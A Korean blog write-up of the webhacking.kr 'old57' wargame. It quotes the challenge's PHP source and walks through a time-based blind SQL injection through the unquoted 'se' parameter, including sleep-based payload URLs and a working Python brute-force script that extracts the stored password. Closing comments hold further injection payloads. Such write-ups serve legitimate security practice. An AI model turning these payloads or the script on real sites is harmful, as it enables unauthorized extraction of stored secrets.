webhacking.kr - old57
2021. 3. 7. 12:42ㆍWarGame/webhaking.kr
처음 접속하면 위와 같은 페이지가 나옵니다.
message에 무언갈 입력하면
done이 표시되고
secret = yes면 인자로1 이 들어가고,
secret = no면 인자로 0이 들어갑니다.
소스코드를 확인해보면
<?php
include "../../config.php";
include "./flag.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
$db = dbconnect();
if($_GET['msg'] && isset($_GET['se'])){
$_GET['msg'] = addslashes($_GET['msg']);
$_GET['se'] = addslashes($_GET['se']);
if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
echo "Done<br><br>";
if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
}
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>
Auto Copied
위와 같은 코드인데, 보니까 대부분이 필터링 되어있지만, time based sqli가 가능할 것 같아서 시도해보았다.
> webhacking.kr/challenge/web-34/index.php?msg=2143&se=if(length(pw)%3E0,%20sleep(3.0),%201)
[
Challenge 57
webhacking.kr
](https://webhacking.kr/challenge/web-34/index.php?msg=2143&se=if(length(pw)%3E0,%20sleep(3.0),%201))
위와 같이 페이를 입력하게 되면 3초를 기다렸다가 로딩된다.
이를 이용해서 24자리라는 길이를 구하고,
아래와 같이 password를 구하는 payload를 작성해줄 수 있다.
import requests
import time
result = ""
string = "_abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()-=+[]{};:'\"<>,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#24letter
for i in range(1, 25) :
for j in string :
URL = "https://webhacking.kr/challenge/web-34/index.php?msg=12&se=if(substr(pw,"+str(i)+",1)="+str(hex(ord(j)))+",sleep(3.0),1)"
before_time = time.time()
response=requests.get(URL)
after_time = time.time()
print(URL)
if(after_time - before_time > 2.5) :
print("["+str(i)+"th] password is = " + str(j))
result += str(chr(ord(j)))
print(result)
break;
print(result)
#0||id=0x61646d696e&&length(pw)>0
#https://webhacking.kr/challenge/web-29/?no=0||substr(pw,1,1)=0x6c&id=guest&pw=guest
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old48 (0) | 2021.03.18 |
---|---|
webhacking.kr - old11 (0) | 2021.03.15 |
webhacking.kr - old54 (0) | 2021.01.25 |
webhacking.kr - old47 (0) | 2021.01.22 |
webhacking.kr - old58 (0) | 2021.01.16 |